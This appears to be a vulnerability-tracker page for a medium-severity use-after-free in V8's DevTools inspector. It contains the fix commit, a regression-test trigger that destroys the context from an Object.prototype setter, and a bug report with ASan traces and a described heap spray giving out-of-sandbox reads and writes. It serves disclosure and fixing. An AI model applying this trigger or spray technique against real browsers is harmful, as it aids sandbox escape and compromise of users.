Overview

Medium
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in V8
DescriptionUse after free in V8
ComponentV8
Bug ClassUAF
Tracker517972812
Fix commit7a5484e4f6ea (v8/v8) +50/-4
CISA KEVNot listed
Creditedyupyon.itome
Disclosed2026-07-29

Changed Functions

FunctionChangeNotes
if
src/inspector/v8-runtime-agent-impl.cc
modified

Files Changed

  • src/inspector/v8-inspector-impl.cc
  • src/inspector/v8-runtime-agent-impl.cc
  • test/inspector/runtime/regress-517972812-expected.txt
  • test/inspector/runtime/regress-517972812.js
From 7a5484e4f6ea917d7070c7407a3d06409d52883d Mon Sep 17 00:00:00 2001
From: Yulun Zeng <[email protected]>
Date: Tue, 09 Jun 2026 19:20:47 +0000
Subject: [PATCH] Handle context destruction when adding binding within V8RuntimeAgentImpl::restore.

Instead of holding a reference in the caller, this commit adds early
returns after each addBinding(). So that all callers to addBindings()
don't have to deal with the edge case (where context is destroyed when
adding binding).

This resolves the issue both in this bug and
https://crrev.com/c/7904365.

Bug: 517972812
Change-Id: I7f74308061f9f194c128697632a84cbe95d4f22f
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7914828
Reviewed-by: Simon Zünd <[email protected]>
Commit-Queue: Yulun Zeng <[email protected]>
Reviewed-by: Kim-Anh Tran <[email protected]>
Cr-Commit-Position: refs/heads/main@{#107997}
---

diff --git a/src/inspector/v8-inspector-impl.cc b/src/inspector/v8-inspector-impl.cc
index ade7809..5e9a512 100644
--- a/src/inspector/v8-inspector-impl.cc
+++ b/src/inspector/v8-inspector-impl.cc
@@ -309,13 +309,12 @@
   DCHECK(contextById->find(contextId) == contextById->cend());
   (*contextById)[contextId].reset(context);
   int contextGroupId = info.contextGroupId;
-  std::shared_ptr<InspectedContext> contextRef = (*contextById)[contextId];
   forEachSession(contextGroupId, [this, contextGroupId, contextId,
-                                  contextRef](V8InspectorSessionImpl* session) {
+                                  &context](V8InspectorSessionImpl* session) {
     if (!getContext(contextGroupId, contextId)) return;
-    session->runtimeAgent()->addBindings(contextRef.get());
+    session->runtimeAgent()->addBindings(context);
     if (!getContext(contextGroupId, contextId)) return;
-    session->runtimeAgent()->reportExecutionContextCreated(contextRef.get());
+    session->runtimeAgent()->reportExecutionContextCreated(context);
   });
 }
 
diff --git a/src/inspector/v8-runtime-agent-impl.cc b/src/inspector/v8-runtime-agent-impl.cc
index e6ce30c..b17432c 100644
--- a/src/inspector/v8-runtime-agent-impl.cc
+++ b/src/inspector/v8-runtime-agent-impl.cc
@@ -1071,6 +1071,8 @@
 }
 
 void V8RuntimeAgentImpl::addBindings(InspectedContext* context) {
+  int contextGroupId = context->contextGroupId();
+  int contextId = context->contextId();
   const String16 contextName = context->humanReadableName();
   if (!m_enabled) return;
 
@@ -1079,6 +1081,7 @@
   if (globalBindings) {
     for (size_t i = 0; i < globalBindings->size(); ++i) {
       addBinding(context, globalBindings->at(i).first);
+      if (!m_inspector->getContext(contextGroupId, contextId)) return;
     }
   }
 
@@ -1090,6 +1093,7 @@
     if (bindings) {
       for (size_t i = 0; i < bindings->size(); ++i) {
         addBinding(context, bindings->at(i).first);
+        if (!m_inspector->getContext(contextGroupId, contextId)) return;
       }
     }
   }
diff --git a/test/inspector/runtime/regress-517972812-expected.txt b/test/inspector/runtime/regress-517972812-expected.txt
new file mode 100644
index 0000000..a1059d8
--- /dev/null
+++ b/test/inspector/runtime/regress-517972812-expected.txt
@@ -0,0 +1,3 @@
+Test that destroying context during addBinding does not cause UAF (regress-517972812).
+Triggering evaluate with prototype hijack and context creation...
+Finished evaluate call.
diff --git a/test/inspector/runtime/regress-517972812.js b/test/inspector/runtime/regress-517972812.js
new file mode 100644
index 0000000..87a2bc5
--- /dev/null
+++ b/test/inspector/runtime/regress-517972812.js
@@ -0,0 +1,40 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+InspectorTest.log('Test that destroying context during addBinding does not cause UAF (regress-517972812).');
+
+(async function test() {
+  const contextGroup = new InspectorTest.ContextGroup();
+  const session = contextGroup.connect();
+
+  session.Protocol.Runtime.enable();
+
+  // Register binding 'x'
+  await session.Protocol.Runtime.addBinding({name: 'x'});
+
+  // Register second binding 'y' to test handling addBinding() again when the
+  // the previous addBinding() has already destroyed the context.
+  await session.Protocol.Runtime.addBinding({name: 'y'});
+
+  InspectorTest.log('Triggering evaluate with prototype hijack and context creation...');
+  await session.Protocol.Runtime.evaluate({
+    expression: `
+      delete globalThis.x;
+      delete globalThis.y;
+      Object.defineProperty(Object.prototype, 'x', {
+        configurable: true,
+        set: function(v) {
+          // Synchronously destroy the just-registered InspectedContext.
+          inspector.fireContextDestroyed();
+        }
+      });
+    `,
+  });
+
+  // === TRIGGER ===
+  session.reconnect();
+
+  InspectorTest.log('Finished evaluate call.');
+  InspectorTest.completeTest();
+})();
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/inspector/runtime/regress-517972812-expected.txt b/test/inspector/runtime/regress-517972812-expected.txt
new file mode 100644
index 0000000..a1059d8
--- /dev/null
+++ b/test/inspector/runtime/regress-517972812-expected.txt
@@ -0,0 +1,3 @@
+Test that destroying context during addBinding does not cause UAF (regress-517972812).
+Triggering evaluate with prototype hijack and context creation...
+Finished evaluate call.
diff --git a/test/inspector/runtime/regress-517972812.js b/test/inspector/runtime/regress-517972812.js
new file mode 100644
index 0000000..87a2bc5
--- /dev/null
+++ b/test/inspector/runtime/regress-517972812.js
@@ -0,0 +1,40 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+InspectorTest.log('Test that destroying context during addBinding does not cause UAF (regress-517972812).');
+
+(async function test() {
+  const contextGroup = new InspectorTest.ContextGroup();
+  const session = contextGroup.connect();
+
+  session.Protocol.Runtime.enable();
+
+  // Register binding 'x'
+  await session.Protocol.Runtime.addBinding({name: 'x'});
+
+  // Register second binding 'y' to test handling addBinding() again when the
+  // the previous addBinding() has already destroyed the context.
+  await session.Protocol.Runtime.addBinding({name: 'y'});
+
+  InspectorTest.log('Triggering evaluate with prototype hijack and context creation...');
+  await session.Protocol.Runtime.evaluate({
+    expression: `
+      delete globalThis.x;
+      delete globalThis.y;
+      Object.defineProperty(Object.prototype, 'x', {
+        configurable: true,
+        set: function(v) {
+          // Synchronously destroy the just-registered InspectedContext.
+          inspector.fireContextDestroyed();
+        }
+      });
+    `,
+  });
+
+  // === TRIGGER ===
+  session.reconnect();
+
+  InspectorTest.log('Finished evaluate call.');
+  InspectorTest.completeTest();
+})();
Loading diff…

Original Bug Report

reported by [email protected]

Heap-UAF in V8RuntimeAgentImpl::addBindings: raw InspectedContext* deref after JS-reentrant free

Steps to reproduce the problem

Attached: poc-uaf.js, poc-sandbox-read.js

  1. Build inspector-test (HEAD 6ac60d22f45, V8 15.0.0).

    gn gen out/asan –args=‘is_debug=false symbol_level=2
    v8_enable_sandbox=true is_asan=true’ gn gen out/sandbox –args=‘is_debug=false symbol_level=2
    v8_enable_sandbox=true is_asan=false’ autoninja -C out/asan inspector-test autoninja -C out/sandbox inspector-test

  2. Run UAF PoC under ASan.

    ASAN_OPTIONS=‘abort_on_error=0:halt_on_error=1:detect_leaks=0’
    ./out/asan/inspector-test
    test/inspector/protocol-test.js
    poc-uaf.js

    Output:

    PoC H-2026-2981: addBindings loop UAF after iter-0 destroys context. Step 1: enable Runtime agent. Step 2: persist two global bindings (“a”,“b”). Step 3: delete own bindings; install Object.prototype.a setter that destroys the inspected context. Step 4: reconnect to drive restore() -> addBindings(ctx).

    ==148588==ERROR: AddressSanitizer: heap-use-after-free on address 0x74957f5f4f50 at pc 0x5f6fac5bed1b READ of size 4 at 0x74957f5f4f50 thread T7 (Task Runner) #0 v8_inspector::V8RuntimeAgentImpl::addBinding(…) src/inspector/inspected-context.h:49:34 #1 v8_inspector::V8RuntimeAgentImpl::addBindings(…) src/inspector/v8-runtime-agent-impl.cc:1081:7 #2 v8_inspector::V8InspectorImpl::forEachContext(…) #3 v8_inspector::V8RuntimeAgentImpl::restore() src/inspector/v8-runtime-agent-impl.cc:1116:16 #4 v8_inspector::V8InspectorSessionImpl::V8InspectorSessionImpl(…) src/inspector/v8-inspector-session-impl.cc:153:21 …

    0x74957f5f4f50 is located 16 bytes inside of 232-byte region [0x74957f5f4f40,0x74957f5f5028) freed by thread T7 (Task Runner) here: #0 operator delete(void*, unsigned long) #1 v8_inspector::V8InspectorImpl::contextCollected(int, int) third_party/libc++/…/shared_count.h:65:7 #2 v8::internal::InspectorIsolateData::FireContextDestroyed(…) test/inspector/isolate-data.cc:438:15 … (setter callback) #15 v8_inspector::V8RuntimeAgentImpl::addBinding(…) src/inspector/v8-runtime-agent-impl.cc:996:39 <- iter-0 Set #16 v8_inspector::V8RuntimeAgentImpl::addBindings(…) src/inspector/v8-runtime-agent-impl.cc:1081:7

    previously allocated by thread T7 (Task Runner) here: #0 operator new(unsigned long) #1 v8_inspector::V8InspectorImpl::contextCreated(…) src/inspector/v8-inspector-impl.cc:288:19

    SUMMARY: AddressSanitizer: heap-use-after-free src/inspector/inspected-context.h:49:34 in v8_inspector::V8RuntimeAgentImpl::addBinding(…) ==148588==ABORTING

  3. Run out-of-sandbox-read PoC under V8 sandbox crash filter.

    The same trigger plus a freelist spray inside the setter callback substitutes attacker bytes into the freed slot at offset 8 (v8::Globalv8::Context::slot_). Iteration N+1’s context() dereference at line 988 follows the substituted pointer.

    ./out/sandbox/inspector-test –sandbox-testing
    test/inspector/protocol-test.js
    poc-sandbox-read.js

    Output:

    Sandbox testing mode is enabled. Only sandbox violations will be reported, all other crashes will be ignored. Sandbox bounds: [0x85300000000,0x95300000000) PoC H-2026-2981 byte-controlled spray. Step 1: enable Runtime agent. Step 2: persist two distinct global bindings (“a”,“b”). Step 3: install setter that frees + sprays. Step 4: reconnect to drive restore() -> addBindings(ctx).

    V8 sandbox violation detected!

    The sandbox violation was a read access which is technically not a sandbox violation. This requires manual investigation. UndefinedBehaviorSanitizer:DEADLYSIGNAL ==148664==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x00077d2e40a0 (pc 0x5c482db56605 …) ==148664==The signal is caused by a READ memory access. #0 v8_inspector::InspectedContext::context() const src/inspector/inspected-context.cc:117 #1 v8_inspector::V8RuntimeAgentImpl::addBinding(…) src/inspector/v8-runtime-agent-impl.cc:988:50 #2 v8_inspector::V8RuntimeAgentImpl::addBindings(…) src/inspector/v8-runtime-agent-impl.cc:1081:7 #3 v8_inspector::V8InspectorImpl::forEachContext(…) #4 v8_inspector::V8RuntimeAgentImpl::restore() src/inspector/v8-runtime-agent-impl.cc:1116:16 #5 v8_inspector::V8InspectorSessionImpl::V8InspectorSessionImpl(…) src/inspector/v8-inspector-session-impl.cc:153:21 …

    The read address (0x00077d2e40a0) lies outside the V8 sandbox cage (0x85300000000 - 0x95300000000), confirming that the UAF yields a read primitive crossing the V8 sandbox boundary.

Per src/inspector/SEC

Problem Description

Variant of bug 507508114 (commit 5a7de4a07b0). The prior fix protected the leaf function addBinding but left the outer-loop caller addBindings unprotected. addBindings holds a raw InspectedContext* across multiple addBinding calls; iteration N’s global->Set() is JS-reentrant via Object.prototype setters, and a setter that destroys the inspected context drops the sole shared_ptr to InspectedContext. Iteration N+1 dereferences the freed pointer at its first statement.

Vulnerable loop (src/inspector/v8-runtime-agent-impl.cc:1073-1096):

void V8RuntimeAgentImpl::addBindings(InspectedContext* context) { … for (size_t i = 0; i < globalBindings->size(); ++i) { addBinding(context, globalBindings->at(i).first); // 1081 } for (size_t i = 0; i < bindings->size(); ++i) { addBinding(context, bindings->at(i).first); // 1092 } }

Each addBinding(context, name):

  1. int contextId = context->contextId(); // 982 DEREF
  2. v8::Localv8::Context ctx = context->context(); // 988 DEREF
  3. global->Set(ctx, v8Name, fn); // 996 JS-REENTRANT
  4. if (m_inspector->getContext(…) != context) // 1001 5a7de4a07b0 guard return; (protects iter-N write, not iter-N+1 entry)
  5. m_activeBindings[name].insert(contextId);

The freed object InspectedContext is allocated via new InspectedContext(...) at src/inspector/v8-inspector-impl.cc:288 on the libc C++ heap, outside the V8 sandbox. The UAF therefore yields a primitive that crosses the V8 sandbox boundary unconditionally, with no prior memory primitive assumed.

Observed primitive 1 (ASan oracle): 4-byte read of m_contextId at offset 16 of the freed slot.

Observed primitive 2 (out-of-sandbox read): standard libc-heap freelist spray during the synchronous setter callback substitutes attacker bytes into the freed slot at offset 8 (v8::Globalv8::Context::slot_). Iteration N+1’s context->context() at line 988 loads the substituted pointer and dereferences it, reaching memory outside the V8 sandbox cage. Confirmed under –sandbox-testing: V8’s sandbox crash filter reports “sandbox violation detected” with a SEGV READ at an address outside the cage bounds.

Composable write: the subsequent global->Set(ctx, v8Name, fn) at line 996 writes a JSFunction handle to the target reached through context()->Global(), yielding an out-of-sandbox write on the same trigger.

Attacker model: web-content. Reachable from any page being inspected by DevTools (SECURITY.md: high severity, “minimal user interaction”), or from a Chrome extension with the “debugger” permission. Triggers automatically on session reattach once persisted globalBindings is populated: Runtime.addBinding survives across sessions in m_state, so two addBinding commands plus a setter on Object.prototype plus a session reattach are sufficient.

In Chromium production, the test-only inspector.fireContextDestroyed() in the PoC is replaced by any setter body that synchronously triggers V8InspectorClient::contextDestroyed on the current LocalFrame (e.g. detaching the frame).

Fix: re-validate context between iterations of the addBindings loops via m_inspector->getContext(groupId, contextId), mirroring the 5a7de4a07b0 shape one frame up. Capture contextId before the loop; do not carry the raw InspectedContext* across the JS-reentrant call.

Source references (HEAD 6ac60d22f45, V8 15.0.0):

src/inspector/v8-runtime-agent-impl.cc:1073-1096 vulnerable loop src/inspector/v8-runtime-agent-impl.cc:982 UAF read 1 (contextId) src/inspector/v8-runtime-agent-impl.cc:988 UAF read 2 (context, OOS) src/inspector/v8-runtime-agent-impl.cc:996 JS-reentrant Set (OOS write) src/inspector/v8-runtime-agent-impl.cc:1001 5a7de4a07b0 guard src/inspector/v8-runtime-agent-impl.cc:1116 restore() caller src/inspector/v8-inspector-impl.cc:288 alloc (libc heap, OOS) src/inspector/v8-inspector-impl.cc:460 free (discardInspectedContext)

Summary

Heap-UAF in V8RuntimeAgentImpl::addBindings: raw InspectedContext* deref after JS-reentrant free

Custom Questions

Type of crash:

TAB

Additional Data

Category: Security
Chrome Channel: Not sure
Regression: No \

View on issue tracker